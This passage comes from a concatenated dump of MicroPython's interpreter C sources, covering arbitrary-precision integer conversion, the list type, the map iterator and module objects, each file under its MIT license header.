mp_obj_int_new_mpz(); mpz_set_from_ll(&o->mpz, val, false); return MP_OBJ_FROM_PTR(o); } mp_obj_t mp_obj_new_int_from_uint(mp_uint_t value) { // SMALL_INT accepts only signed numbers, so make sure the input // value fits completely in the small-int positive range. if ((value & ~MP_SMALL_INT_POSITIVE_MASK) == 0) { return MP_OBJ_NEW_SMALL_INT(value); } return mp_obj_new_int_from_ull(value); } mp_obj_t mp_obj_new_int_from_str_len(const char **str, size_t len, bool neg, unsigned int base) { mp_obj_int_t *o = mp_obj_int_new_mpz(); size_t n = mpz_set_from_str(&o->mpz, *str, len, neg, base); *str += n; return MP_OBJ_FROM_PTR(o); } mp_int_t mp_obj_int_get_truncated(mp_const_obj_t self_in) { if (MP_OBJ_IS_SMALL_INT(self_in)) { return MP_OBJ_SMALL_INT_VALUE(self_in); } else { const mp_obj_int_t *self = MP_OBJ_TO_PTR(self_in); // hash returns actual int value if it fits in mp_int_t return mpz_hash(&self->mpz); } } mp_int_t mp_obj_int_get_checked(mp_const_obj_t self_in) { if (MP_OBJ_IS_SMALL_INT(self_in)) { return MP_OBJ_SMALL_INT_VALUE(self_in); } else { const mp_obj_int_t *self = MP_OBJ_TO_PTR(self_in); mp_int_t value; if (mpz_as_int_checked(&self->mpz, &value)) { return value; } else { // overflow mp_raise_msg(&mp_type_OverflowError, "overflow converting long int to machine word"); } } } #if MICROPY_PY_BUILTINS_FLOAT mp_float_t mp_obj_int_as_float_impl(mp_obj_t self_in) { assert(MP_OBJ_IS_TYPE(self_in, &mp_type_int)); mp_obj_int_t *self = MP_OBJ_TO_PTR(self_in); return mpz_as_float(&self->mpz); } #endif #endif ================================================ FILE: micropython/source/py/objlist.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/objlist.h" #include "py/runtime0.h" #include "py/runtime.h" #include "py/stackctrl.h" STATIC mp_obj_t mp_obj_new_list_iterator(mp_obj_t list, size_t cur, mp_obj_iter_buf_t *iter_buf); STATIC mp_obj_list_t *list_new(size_t n); STATIC mp_obj_t list_extend(mp_obj_t self_in, mp_obj_t arg_in); STATIC mp_obj_t list_pop(size_t n_args, const mp_obj_t *args); // TODO: Move to mpconfig.h #define LIST_MIN_ALLOC 4 /******************************************************************************/ /* list */ STATIC void list_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) { mp_obj_list_t *o = MP_OBJ_TO_PTR(o_in); if (!(MICROPY_PY_UJSON && kind == PRINT_JSON)) { kind = PRINT_REPR; } mp_print_str(print, "["); for (size_t i = 0; i < o->len; i++) { if (i > 0) { mp_print_str(print, ", "); } mp_obj_print_helper(print, o->items[i], kind); } mp_print_str(print, "]"); } STATIC mp_obj_t list_extend_from_iter(mp_obj_t list, mp_obj_t iterable) { mp_obj_t iter = mp_getiter(iterable, NULL); mp_obj_t item; while ((item = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) { mp_obj_list_append(list, item); } return list; } STATIC mp_obj_t list_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { (void)type_in; mp_arg_check_num(n_args, n_kw, 0, 1, false); switch (n_args) { case 0: // return a new, empty list return mp_obj_new_list(0, NULL); case 1: default: { // make list from iterable // TODO: optimize list/tuple mp_obj_t list = mp_obj_new_list(0, NULL); return list_extend_from_iter(list, args[0]); } } } // Don't pass MP_BINARY_OP_NOT_EQUAL here STATIC bool list_cmp_helper(mp_uint_t op, mp_obj_t self_in, mp_obj_t another_in) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list)); if (!MP_OBJ_IS_TYPE(another_in, &mp_type_list)) { return false; } mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_list_t *another = MP_OBJ_TO_PTR(another_in); return mp_seq_cmp_objs(op, self->items, self->len, another->items, another->len); } STATIC mp_obj_t list_unary_op(mp_uint_t op, mp_obj_t self_in) { mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in); switch (op) { case MP_UNARY_OP_BOOL: return mp_obj_new_bool(self->len != 0); case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(self->len); #if MICROPY_PY_SYS_GETSIZEOF case MP_UNARY_OP_SIZEOF: { size_t sz = sizeof(*self) + sizeof(mp_obj_t) * self->alloc; return MP_OBJ_NEW_SMALL_INT(sz); } #endif default: return MP_OBJ_NULL; // op not supported } } STATIC mp_obj_t list_binary_op(mp_uint_t op, mp_obj_t lhs, mp_obj_t rhs) { mp_obj_list_t *o = MP_OBJ_TO_PTR(lhs); switch (op) { case MP_BINARY_OP_ADD: { if (!MP_OBJ_IS_TYPE(rhs, &mp_type_list)) { return MP_OBJ_NULL; // op not supported } mp_obj_list_t *p = MP_OBJ_TO_PTR(rhs); mp_obj_list_t *s = list_new(o->len + p->len); mp_seq_cat(s->items, o->items, o->len, p->items, p->len, mp_obj_t); return MP_OBJ_FROM_PTR(s); } case MP_BINARY_OP_INPLACE_ADD: { list_extend(lhs, rhs); return lhs; } case MP_BINARY_OP_MULTIPLY: { mp_int_t n; if (!mp_obj_get_int_maybe(rhs, &n)) { return MP_OBJ_NULL; // op not supported } if (n < 0) { n = 0; } mp_obj_list_t *s = list_new(o->len * n); mp_seq_multiply(o->items, sizeof(*o->items), o->len, n, s->items); return MP_OBJ_FROM_PTR(s); } case MP_BINARY_OP_EQUAL: case MP_BINARY_OP_LESS: case MP_BINARY_OP_LESS_EQUAL: case MP_BINARY_OP_MORE: case MP_BINARY_OP_MORE_EQUAL: return mp_obj_new_bool(list_cmp_helper(op, lhs, rhs)); default: return MP_OBJ_NULL; // op not supported } } STATIC mp_obj_t list_subscr(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) { if (value == MP_OBJ_NULL) { // delete #if MICROPY_PY_BUILTINS_SLICE if (MP_OBJ_IS_TYPE(index, &mp_type_slice)) { mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in); mp_bound_slice_t slice; if (!mp_seq_get_fast_slice_indexes(self->len, index, &slice)) { mp_raise_NotImplementedError(""); } mp_int_t len_adj = slice.start - slice.stop; //printf("Len adj: %d\n", len_adj); assert(len_adj <= 0); mp_seq_replace_slice_no_grow(self->items, self->len, slice.start, slice.stop, self->items/*NULL*/, 0, sizeof(*self->items)); // Clear "freed" elements at the end of list mp_seq_clear(self->items, self->len + len_adj, self->len, sizeof(*self->items)); self->len += len_adj; return mp_const_none; } #endif mp_obj_t args[2] = {self_in, index}; list_pop(2, args); return mp_const_none; } else if (value == MP_OBJ_SENTINEL) { // load mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in); #if MICROPY_PY_BUILTINS_SLICE if (MP_OBJ_IS_TYPE(index, &mp_type_slice)) { mp_bound_slice_t slice; if (!mp_seq_get_fast_slice_indexes(self->len, index, &slice)) { return mp_seq_extract_slice(self->len, self->items, &slice); } mp_obj_list_t *res = list_new(slice.stop - slice.start); mp_seq_copy(res->items, self->items + slice.start, res->len, mp_obj_t); return MP_OBJ_FROM_PTR(res); } #endif size_t index_val = mp_get_index(self->base.type, self->len, index, false); return self->items[index_val]; } else { #if MICROPY_PY_BUILTINS_SLICE if (MP_OBJ_IS_TYPE(index, &mp_type_slice)) { mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in); size_t value_len; mp_obj_t *value_items; mp_obj_get_array(value, &value_len, &value_items); mp_bound_slice_t slice_out; if (!mp_seq_get_fast_slice_indexes(self->len, index, &slice_out)) { mp_raise_NotImplementedError(""); } mp_int_t len_adj = value_len - (slice_out.stop - slice_out.start); //printf("Len adj: %d\n", len_adj); if (len_adj > 0) { if (self->len + len_adj > self->alloc) { // TODO: Might optimize memory copies here by checking if block can // be grown inplace or not self->items = m_renew(mp_obj_t, self->items, self->alloc, self->len + len_adj); self->alloc = self->len + len_adj; } mp_seq_replace_slice_grow_inplace(self->items, self->len, slice_out.start, slice_out.stop, value_items, value_len, len_adj, sizeof(*self->items)); } else { mp_seq_replace_slice_no_grow(self->items, self->len, slice_out.start, slice_out.stop, value_items, value_len, sizeof(*self->items)); // Clear "freed" elements at the end of list mp_seq_clear(self->items, self->len + len_adj, self->len, sizeof(*self->items)); // TODO: apply allocation policy re: alloc_size } self->len += len_adj; return mp_const_none; } #endif mp_obj_list_store(self_in, index, value); return mp_const_none; } } STATIC mp_obj_t list_getiter(mp_obj_t o_in, mp_obj_iter_buf_t *iter_buf) { return mp_obj_new_list_iterator(o_in, 0, iter_buf); } mp_obj_t mp_obj_list_append(mp_obj_t self_in, mp_obj_t arg) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list)); mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in); if (self->len >= self->alloc) { self->items = m_renew(mp_obj_t, self->items, self->alloc, self->alloc * 2); self->alloc *= 2; mp_seq_clear(self->items, self->len + 1, self->alloc, sizeof(*self->items)); } self->items[self->len++] = arg; return mp_const_none; // return None, as per CPython } STATIC mp_obj_t list_extend(mp_obj_t self_in, mp_obj_t arg_in) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list)); if (MP_OBJ_IS_TYPE(arg_in, &mp_type_list)) { mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_list_t *arg = MP_OBJ_TO_PTR(arg_in); if (self->len + arg->len > self->alloc) { // TODO: use alloc policy for "4" self->items = m_renew(mp_obj_t, self->items, self->alloc, self->len + arg->len + 4); self->alloc = self->len + arg->len + 4; mp_seq_clear(self->items, self->len + arg->len, self->alloc, sizeof(*self->items)); } memcpy(self->items + self->len, arg->items, sizeof(mp_obj_t) * arg->len); self->len += arg->len; } else { list_extend_from_iter(self_in, arg_in); } return mp_const_none; // return None, as per CPython } STATIC mp_obj_t list_pop(size_t n_args, const mp_obj_t *args) { mp_check_self(MP_OBJ_IS_TYPE(args[0], &mp_type_list)); mp_obj_list_t *self = MP_OBJ_TO_PTR(args[0]); if (self->len == 0) { mp_raise_msg(&mp_type_IndexError, "pop from empty list"); } size_t index = mp_get_index(self->base.type, self->len, n_args == 1 ? MP_OBJ_NEW_SMALL_INT(-1) : args[1], false); mp_obj_t ret = self->items[index]; self->len -= 1; memmove(self->items + index, self->items + index + 1, (self->len - index) * sizeof(mp_obj_t)); // Clear stale pointer from slot which just got freed to prevent GC issues self->items[self->len] = MP_OBJ_NULL; if (self->alloc > LIST_MIN_ALLOC && self->alloc > 2 * self->len) { self->items = m_renew(mp_obj_t, self->items, self->alloc, self->alloc/2); self->alloc /= 2; } return ret; } STATIC void mp_quicksort(mp_obj_t *head, mp_obj_t *tail, mp_obj_t key_fn, mp_obj_t binop_less_result) { MP_STACK_CHECK(); while (head < tail) { mp_obj_t *h = head - 1; mp_obj_t *t = tail; mp_obj_t v = key_fn == MP_OBJ_NULL ? tail[0] : mp_call_function_1(key_fn, tail[0]); // get pivot using key_fn for (;;) { do ++h; while (h < t && mp_binary_op(MP_BINARY_OP_LESS, key_fn == MP_OBJ_NULL ? h[0] : mp_call_function_1(key_fn, h[0]), v) == binop_less_result); do --t; while (h < t && mp_binary_op(MP_BINARY_OP_LESS, v, key_fn == MP_OBJ_NULL ? t[0] : mp_call_function_1(key_fn, t[0])) == binop_less_result); if (h >= t) break; mp_obj_t x = h[0]; h[0] = t[0]; t[0] = x; } mp_obj_t x = h[0]; h[0] = tail[0]; tail[0] = x; // do the smaller recursive call first, to keep stack within O(log(N)) if (t - head < tail - h - 1) { mp_quicksort(head, t, key_fn, binop_less_result); head = h + 1; } else { mp_quicksort(h + 1, tail, key_fn, binop_less_result); tail = t; } } } // TODO Python defines sort to be stable but ours is not mp_obj_t mp_obj_list_sort(size_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) { static const mp_arg_t allowed_args[] = { { MP_QSTR_key, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_rom_obj = MP_ROM_PTR(&mp_const_none_obj)} }, { MP_QSTR_reverse, MP_ARG_KW_ONLY | MP_ARG_BOOL, {.u_bool = false} }, }; // parse args struct { mp_arg_val_t key, reverse; } args; mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, (mp_arg_val_t*)&args); mp_check_self(MP_OBJ_IS_TYPE(pos_args[0], &mp_type_list)); mp_obj_list_t *self = MP_OBJ_TO_PTR(pos_args[0]); if (self->len > 1) { mp_quicksort(self->items, self->items + self->len - 1, args.key.u_obj == mp_const_none ? MP_OBJ_NULL : args.key.u_obj, args.reverse.u_bool ? mp_const_false : mp_const_true); } return mp_const_none; } STATIC mp_obj_t list_clear(mp_obj_t self_in) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list)); mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in); self->len = 0; self->items = m_renew(mp_obj_t, self->items, self->alloc, LIST_MIN_ALLOC); self->alloc = LIST_MIN_ALLOC; mp_seq_clear(self->items, 0, self->alloc, sizeof(*self->items)); return mp_const_none; } STATIC mp_obj_t list_copy(mp_obj_t self_in) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list)); mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in); return mp_obj_new_list(self->len, self->items); } STATIC mp_obj_t list_count(mp_obj_t self_in, mp_obj_t value) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list)); mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in); return mp_seq_count_obj(self->items, self->len, value); } STATIC mp_obj_t list_index(size_t n_args, const mp_obj_t *args) { mp_check_self(MP_OBJ_IS_TYPE(args[0], &mp_type_list)); mp_obj_list_t *self = MP_OBJ_TO_PTR(args[0]); return mp_seq_index_obj(self->items, self->len, n_args, args); } STATIC mp_obj_t list_insert(mp_obj_t self_in, mp_obj_t idx, mp_obj_t obj) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list)); mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in); // insert has its own strange index logic mp_int_t index = MP_OBJ_SMALL_INT_VALUE(idx); if (index < 0) { index += self->len; } if (index < 0) { index = 0; } if ((size_t)index > self->len) { index = self->len; } mp_obj_list_append(self_in, mp_const_none); for (mp_int_t i = self->len-1; i > index; i--) { self->items[i] = self->items[i-1]; } self->items[index] = obj; return mp_const_none; } mp_obj_t mp_obj_list_remove(mp_obj_t self_in, mp_obj_t value) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list)); mp_obj_t args[] = {self_in, value}; args[1] = list_index(2, args); list_pop(2, args); return mp_const_none; } STATIC mp_obj_t list_reverse(mp_obj_t self_in) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list)); mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in); mp_int_t len = self->len; for (mp_int_t i = 0; i < len/2; i++) { mp_obj_t a = self->items[i]; self->items[i] = self->items[len-i-1]; self->items[len-i-1] = a; } return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_2(list_append_obj, mp_obj_list_append); STATIC MP_DEFINE_CONST_FUN_OBJ_2(list_extend_obj, list_extend); STATIC MP_DEFINE_CONST_FUN_OBJ_1(list_clear_obj, list_clear); STATIC MP_DEFINE_CONST_FUN_OBJ_1(list_copy_obj, list_copy); STATIC MP_DEFINE_CONST_FUN_OBJ_2(list_count_obj, list_count); STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(list_index_obj, 2, 4, list_index); STATIC MP_DEFINE_CONST_FUN_OBJ_3(list_insert_obj, list_insert); STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(list_pop_obj, 1, 2, list_pop); STATIC MP_DEFINE_CONST_FUN_OBJ_2(list_remove_obj, mp_obj_list_remove); STATIC MP_DEFINE_CONST_FUN_OBJ_1(list_reverse_obj, list_reverse); STATIC MP_DEFINE_CONST_FUN_OBJ_KW(list_sort_obj, 1, mp_obj_list_sort); STATIC const mp_rom_map_elem_t list_locals_dict_table[] = { { MP_ROM_QSTR(MP_QSTR_append), MP_ROM_PTR(&list_append_obj) }, { MP_ROM_QSTR(MP_QSTR_clear), MP_ROM_PTR(&list_clear_obj) }, { MP_ROM_QSTR(MP_QSTR_copy), MP_ROM_PTR(&list_copy_obj) }, { MP_ROM_QSTR(MP_QSTR_count), MP_ROM_PTR(&list_count_obj) }, { MP_ROM_QSTR(MP_QSTR_extend), MP_ROM_PTR(&list_extend_obj) }, { MP_ROM_QSTR(MP_QSTR_index), MP_ROM_PTR(&list_index_obj) }, { MP_ROM_QSTR(MP_QSTR_insert), MP_ROM_PTR(&list_insert_obj) }, { MP_ROM_QSTR(MP_QSTR_pop), MP_ROM_PTR(&list_pop_obj) }, { MP_ROM_QSTR(MP_QSTR_remove), MP_ROM_PTR(&list_remove_obj) }, { MP_ROM_QSTR(MP_QSTR_reverse), MP_ROM_PTR(&list_reverse_obj) }, { MP_ROM_QSTR(MP_QSTR_sort), MP_ROM_PTR(&list_sort_obj) }, }; STATIC MP_DEFINE_CONST_DICT(list_locals_dict, list_locals_dict_table); const mp_obj_type_t mp_type_list = { { &mp_type_type }, .name = MP_QSTR_list, .print = list_print, .make_new = list_make_new, .unary_op = list_unary_op, .binary_op = list_binary_op, .subscr = list_subscr, .getiter = list_getiter, .locals_dict = (mp_obj_dict_t*)&list_locals_dict, }; void mp_obj_list_init(mp_obj_list_t *o, size_t n) { o->base.type = &mp_type_list; o->alloc = n < LIST_MIN_ALLOC ? LIST_MIN_ALLOC : n; o->len = n; o->items = m_new(mp_obj_t, o->alloc); mp_seq_clear(o->items, n, o->alloc, sizeof(*o->items)); } STATIC mp_obj_list_t *list_new(size_t n) { mp_obj_list_t *o = m_new_obj(mp_obj_list_t); mp_obj_list_init(o, n); return o; } mp_obj_t mp_obj_new_list(size_t n, mp_obj_t *items) { mp_obj_list_t *o = list_new(n); if (items != NULL) { for (size_t i = 0; i < n; i++) { o->items[i] = items[i]; } } return MP_OBJ_FROM_PTR(o); } void mp_obj_list_get(mp_obj_t self_in, size_t *len, mp_obj_t **items) { mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in); *len = self->len; *items = self->items; } void mp_obj_list_set_len(mp_obj_t self_in, size_t len) { // trust that the caller knows what it's doing // TODO realloc if len got much smaller than alloc mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in); self->len = len; } void mp_obj_list_store(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) { mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in); size_t i = mp_get_index(self->base.type, self->len, index, false); self->items[i] = value; } /******************************************************************************/ /* list iterator */ typedef struct _mp_obj_list_it_t { mp_obj_base_t base; mp_fun_1_t iternext; mp_obj_t list; size_t cur; } mp_obj_list_it_t; STATIC mp_obj_t list_it_iternext(mp_obj_t self_in) { mp_obj_list_it_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_list_t *list = MP_OBJ_TO_PTR(self->list); if (self->cur < list->len) { mp_obj_t o_out = list->items[self->cur]; self->cur += 1; return o_out; } else { return MP_OBJ_STOP_ITERATION; } } mp_obj_t mp_obj_new_list_iterator(mp_obj_t list, size_t cur, mp_obj_iter_buf_t *iter_buf) { assert(sizeof(mp_obj_list_it_t) <= sizeof(mp_obj_iter_buf_t)); mp_obj_list_it_t *o = (mp_obj_list_it_t*)iter_buf; o->base.type = &mp_type_polymorph_iter; o->iternext = list_it_iternext; o->list = list; o->cur = cur; return MP_OBJ_FROM_PTR(o); } ================================================ FILE: micropython/source/py/objmap.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/runtime.h" typedef struct _mp_obj_map_t { mp_obj_base_t base; size_t n_iters; mp_obj_t fun; mp_obj_t iters[]; } mp_obj_map_t; STATIC mp_obj_t map_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) { mp_arg_check_num(n_args, n_kw, 2, MP_OBJ_FUN_ARGS_MAX, false); mp_obj_map_t *o = m_new_obj_var(mp_obj_map_t, mp_obj_t, n_args - 1); o->base.type = type; o->n_iters = n_args - 1; o->fun = args[0]; for (size_t i = 0; i < n_args - 1; i++) { o->iters[i] = mp_getiter(args[i + 1], NULL); } return MP_OBJ_FROM_PTR(o); } STATIC mp_obj_t map_iternext(mp_obj_t self_in) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_map)); mp_obj_map_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_t *nextses = m_new(mp_obj_t, self->n_iters); for (size_t i = 0; i < self->n_iters; i++) { mp_obj_t next = mp_iternext(self->iters[i]); if (next == MP_OBJ_STOP_ITERATION) { m_del(mp_obj_t, nextses, self->n_iters); return MP_OBJ_STOP_ITERATION; } nextses[i] = next; } return mp_call_function_n_kw(self->fun, self->n_iters, 0, nextses); } const mp_obj_type_t mp_type_map = { { &mp_type_type }, .name = MP_QSTR_map, .make_new = map_make_new, .getiter = mp_identity_getiter, .iternext = map_iternext, }; ================================================ FILE: micropython/source/py/objmodule.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/mpstate.h" #include "py/nlr.h" #include "py/objmodule.h" #include "py/runtime.h" #include "py/builtin.h" STATIC void module_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { (void)kind; mp_obj_module_t *self = MP_OBJ_TO_PTR(self_in); const char *module_name = ""; mp_map_elem_t *elem = mp_map_lookup(&self->globals->map, MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_MAP_LOOKUP); if (elem != NULL) { module_name = mp_obj_str_get_str(elem->value); } #if MICROPY_PY___FILE__ // If we store __file__ to imported modules then try to lookup this // symbol to give more information about the module. elem = mp_map_lookup(&self->globals->map, MP_OBJ_NEW_QSTR(MP_QSTR___file__), MP_MAP_LOOKUP); if (elem != NULL) { mp_printf(print, "", module_name, mp_obj_str_get_str(elem->value)); return; } #endif mp_printf(print, "", module_name); } STATIC void module_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) { mp_obj_module_t *self = MP_OBJ_TO_PTR(self_in); if (dest[0] == MP_OBJ_NULL) { // load attribute mp_map_elem_t *elem = mp_map_lookup(&self->globals->map, MP_OBJ_NEW_QSTR(attr), MP_MAP_LOOKUP); if (elem != NULL) { dest[0] = elem->value; } } else { // delete/store attribute mp_obj_dict_t *dict = self->globals; if (dict->map.is_fixed) { #if MICROPY_CAN_OVERRIDE_BUILTINS if (dict == &mp_module_builtins_globals) { if (MP_STATE_VM(mp_module_builtins_override_dict) == NULL) { MP_STATE_VM(mp_module_builtins_override_dict) = MP_OBJ_TO_PTR(mp_obj_new_dict(1)); } dict = MP_STATE_VM(mp_module_builtins_override_dict); } else #endif { // can't delete or store to fixed map return; } } if (dest[1] == MP_OBJ_NULL) { // delete attribute mp_obj_dict_delete(MP_OBJ_FROM_PTR(dict), MP_OBJ_NEW_QSTR(attr)); } else { // store attribute // TODO CPython allows STORE_ATTR to a module, but is this the correct implementation? mp_obj_dict_store(MP_OBJ_FROM_PTR(dict), MP_OBJ_NEW_QSTR(attr), dest[1]); } dest[0] = MP_OBJ_NULL; // indicate success } } const mp_obj_type_t mp_type_module = { { &mp_type_type }, .name = MP_QSTR_module, .print = module_print, .attr = module_attr, }; mp_obj_t mp_obj_new_module(qstr module_name) { mp_map_t *mp_loaded_modules_map = &MP_STATE_VM(mp_loaded_modules_dict).map; mp_map_elem_t *el = mp_map_lookup(mp_loaded_modules_map, MP_OBJ_NEW_QSTR(module_name), MP_MAP_LOOKUP_ADD_IF_NOT_FOUND); // We could error out if module already exists, but let C extensions // add new members to existing modules. if (el->value != MP_OBJ_NULL) { return el->value; } // create new module object mp_obj_module_t *o = m_new_obj(mp_obj_module_t); o->base.type = &mp_type_module; o->globals = MP_OBJ_TO_PTR(mp_obj_new_dict(MICROPY_MODULE_DICT_SIZE)); // store __name__ entry in the module mp_obj_dict_store(MP_OBJ_FROM_PTR(o->globals), MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(module_name)); // store the new module into the slot in the global dict holding all modules el->value = MP_OBJ_FROM_PTR(o); // return the new module return MP_OBJ_FROM_PTR(o); } mp_obj_dict_t *mp_obj_module_get_globals(mp_obj_t self_in) { assert(MP_OBJ_IS_TYPE(self_in, &mp_type_module)); mp_obj_module_t *self = MP_OBJ_TO_PTR(self_in); return self->globals; } /******************************************************************************/ // Global module table and related functions STATIC const mp_rom_map_elem_t mp_builtin_module_table[] = { { MP_ROM_QSTR(MP_QSTR___main__), MP_ROM_PTR(&mp_module___main__) }, { MP_ROM_QSTR(MP_QSTR_builtins), MP_ROM_PTR(&mp_module_builtins) }, { MP_ROM_QSTR(MP_QSTR_micropython), MP_ROM_PTR(&mp_module_micropython) }, #if MICROPY_PY_ARRAY { MP_ROM_QSTR(MP_QSTR_array), MP_ROM_PTR(&mp_module_array) }, #endif #if MICROPY_PY_IO { MP_ROM_QSTR(MP_QSTR_uio), MP_ROM_PTR(&mp_module_io) }, #endif #if MICROPY_PY_COLLECTIONS { MP_ROM_QSTR(MP_QSTR_ucollections), MP_ROM_PTR(&mp_module_collections) }, #endif #if MICROPY_PY_STRUCT { MP_ROM_QSTR(MP_QSTR_ustruct), MP_ROM_PTR(&mp_module_ustruct) }, #endif #if MICROPY_PY_BUILTINS_FLOAT #if MICROPY_PY_MATH { MP_ROM_QSTR(MP_QSTR_math), MP_ROM_PTR(&mp_module_math) }, #endif #if MICROPY_PY_BUILTINS_COMPLEX && MICROPY_PY_CMATH { MP_ROM_QSTR(MP_QSTR_cmath), MP_ROM_PTR(&mp_module_cmath) }, #endif #endif #if MICROPY_PY_SYS { MP_ROM_QSTR(MP_QSTR_sys), MP_ROM_PTR(&mp_module_sys) }, #endif #if MICROPY_PY_GC && MICROPY_ENABLE_GC { MP_ROM_QSTR(MP_QSTR_gc), MP_ROM_PTR(&mp_module_gc) }, #endif #if MICROPY_PY_THREAD { MP_ROM_QSTR(MP_QSTR__thread), MP_ROM_PTR(&mp_module_thread) }, #endif // extmod modules #if MICROPY_PY_UERRNO { MP_ROM_QSTR(MP_QSTR_uerrno), MP_ROM_PTR(&mp_module_uerrno) }, #endif #if MICROPY_PY_UCTYPES { MP_ROM_QSTR(MP_QSTR_uctypes), MP_ROM_PTR(&mp_module_uctypes) }, #endif #if MICROPY_PY_UZLIB { MP_ROM_QSTR(MP_QSTR_uzlib), MP_ROM_PTR(&mp_module_uzlib) }, #endif #if MICROPY_PY_UJSON { MP_ROM_QSTR(MP_QSTR_ujson), MP_ROM_PTR(&mp_module_ujson) }, #endif #if MICROPY_PY_URE { MP_ROM_QSTR(MP_QSTR_ure), MP_ROM_PTR(&mp_module_ure) }, #endif 